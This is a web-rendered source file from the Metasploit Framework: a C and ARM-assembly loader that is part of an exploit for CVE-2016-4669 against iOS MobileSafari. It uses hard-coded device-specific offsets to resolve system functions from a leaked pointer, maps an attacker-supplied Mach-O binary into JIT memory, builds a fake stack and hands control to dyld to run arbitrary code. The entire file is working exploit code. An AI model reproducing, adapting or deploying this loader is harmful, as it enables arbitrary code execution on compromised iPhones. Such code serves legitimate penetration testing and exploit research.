CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2016-4669/loader.c
Views: 11779
1
// [1] https://iokit.racing/machotricks.pdf
2
3
#include <stdio.h>
4
#include <stdint.h>
5
#include <unistd.h>
6
#include <dlfcn.h>
7
#include <mach-o/loader.h>
8
#include <mach-o/swap.h>
9
#include <mach-o/dyld_images.h>
10
#include <mach/mach.h>
11
12
// targeting a specific version of os
13
// on a specific device we can use hard coded
14
// offsets
15
#define JSCELL_DESTROY 0x2e49e345
16
// this one was extracted at runtime, cause
17
// the one from the ipsw was not the same as on the phone
18
#define DLSYM_BASE 0x381227d0
19
#define DYLD_START 0x1028
20
21
#define MINU(a,b) ((unsigned)(a) < (unsigned)(b) ? a : b)
22
23
typedef void * (* dlsym_t)(void *restrict handle, const char *restrict name);
24
typedef int (* printf_t)(const char * format, ... );
25
typedef unsigned int (* sleep_t)(unsigned int seconds);
26
typedef int (* _fprintf)(FILE *stream, const char *format, ...);
27
typedef void * (* dlopen_t)(const char* path, int mode);
28
typedef void * (* malloc_t)(size_t size);
29
30
typedef kern_return_t (* task_info_fn_t)(task_t target_task,
31
int flavor, task_info_t task_info,
32
mach_msg_type_number_t *task_info_count);
33
34
typedef mach_port_t (* mach_task_self_t)(void);
35
typedef char (* strcpy_t)(char *dest, const char *src);
36
37
// @see dyldStartup.s
38
struct dyld_params
39
{
40
void *base;
41
// this is set up to have only one param,
42
// binary name
43
unsigned argc;
44
// bin name and NULL
45
void * argv[2];
46
// NULL
47
void * env[1];
48
// NULL
49
void * apple[2];
50
char strings[];
51
};
52
53
void next(uintptr_t JSCell_destroy, void *macho, unsigned pc);
54
55
void __magic_start() {
56
asm("mov r0, #0");
57
asm("mov r0, #0");
58
asm("mov r0, #0");
59
asm("mov r0, #0");
60
}
61
62
// In the MobileSafari part we place two arguments
63
// right before the first instruction of the loader.
64
// Extract them and place them as next arguments
65
__attribute__((naked)) void start()
66
{
67
asm("ldr r1, [pc,#-0xC]");
68
asm("ldr r0, [pc,#-0xC]");
69
asm("mov r2, pc");
70
asm("b _next");
71
}
72
73
static void __copy(void *dst, void *src, size_t n)
74
{
75
do {
76
*(char *)dst = *(char *)src;
77
dst++;
78
src++;
79
} while (--n);
80
}
81
82
// We map macho file into jit memory.
83
// The details are outlined in [1].
84
void * map_macho(void *macho, void *base)
85
{
86
void *macho_base = (void *)-1;
87
struct mach_header *header = macho;
88
union {
89
struct load_command *cmd;
90
struct segment_command *segment;
91
void *p;
92
unsigned *u32;
93
} commands;
94
95
commands.p = macho + sizeof(struct mach_header);
96
97
// we assume that the loading address is 0
98
// since we are in control of macho file
99
for (int i=0; i<header->ncmds; i++) {
100
// LC_SEGMENT command
101
if (commands.cmd->cmd == 1) {
102
103
if (commands.segment->filesize == 0)
104
goto next_cmd;
105
106
macho_base = MINU(macho_base, base + commands.segment->vmaddr);
107
__copy(base + commands.segment->vmaddr,
108
macho + commands.segment->fileoff,
109
commands.segment->filesize);
110
}
111
112
next_cmd:
113
commands.p += commands.cmd->cmdsize;
114
}
115
116
return macho_base;
117
}
118
119
void next(uintptr_t JSCell_destroy, void *macho, unsigned pc)
120
{
121
// structure describing the stack layout
122
// expected by the macho loader of ios
123
//
124
// The detail are in dyldStartup.s file of dyld source code.
125
// https://opensource.apple.com/source/dyld/dyld-421.1/src/dyldStartup.s.auto.html
126
struct dyld_params *__sp;
127
128
// resolve functions we are going to use
129
unsigned slide = JSCell_destroy - JSCELL_DESTROY;
130
dlsym_t _dlsym = (dlsym_t)(DLSYM_BASE + slide + 1);
131
malloc_t _malloc = _dlsym(RTLD_DEFAULT, "malloc");
132
strcpy_t _strcpy = _dlsym(RTLD_DEFAULT, "strcpy");
133
134
task_info_fn_t _task_info = _dlsym(RTLD_DEFAULT, "task_info");
135
mach_task_self_t _mach_task_self = _dlsym(RTLD_DEFAULT, "mach_task_self");
136
137
mach_port_t self = _mach_task_self();
138
task_dyld_info_data_t info;
139
struct dyld_all_image_infos *infos;
140
141
// We need __dyld_start address to load a macho file,
142
// We call task_info to get dyld base and use hard coded offset
143
// to get __dyld_start pointer.
144
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
145
kern_return_t kr = _task_info(self, TASK_DYLD_INFO, (task_info_t)&info, &count);
146
147
infos = (struct dyld_all_image_infos *)info.all_image_info_addr;
148
void *dyld = (void *)infos->dyldImageLoadAddress;
149
void (* __dyld_start)() = (dyld + DYLD_START);
150
151
// get page aligned address a bit further after
152
// the loader and map the macho down there.
153
void *base = (void *) (pc & ~PAGE_MASK);
154
base += 0x40000;
155
base = map_macho(macho, base);
156
157
// allocate stack for out executable
158
__sp = _malloc(0x800000) + 0x400000;
159
160
// setup up our fake stack
161
__sp->base = base;
162
__sp->argc = 1;
163
__sp->argv[0] = &__sp->strings;
164
__sp->argv[1] = NULL;
165
__sp->env[0] = NULL;
166
167
__sp->apple[0] = &__sp->strings;
168
__sp->apple[1] = NULL;
169
170
// it's required to have argv[0]
171
_strcpy(__sp->strings, "/bin/bin");
172
173
// call __dyld_start
174
__asm__ ("ldr r0, %[f];"
175
"ldr r1, %[v];"
176
"mov sp, r1;"
177
"bx r0;"
178
: // no output
179
: [v]"m"(__sp), [f]"m"(__dyld_start)
180
);
181
}
182
183
#if 1
184
void __magic_end() {
185
asm("mov r0, #1");
186
asm("mov r0, #1");
187
asm("mov r0, #1");
188
asm("mov r0, #1");
189
}
190
#endif
191
192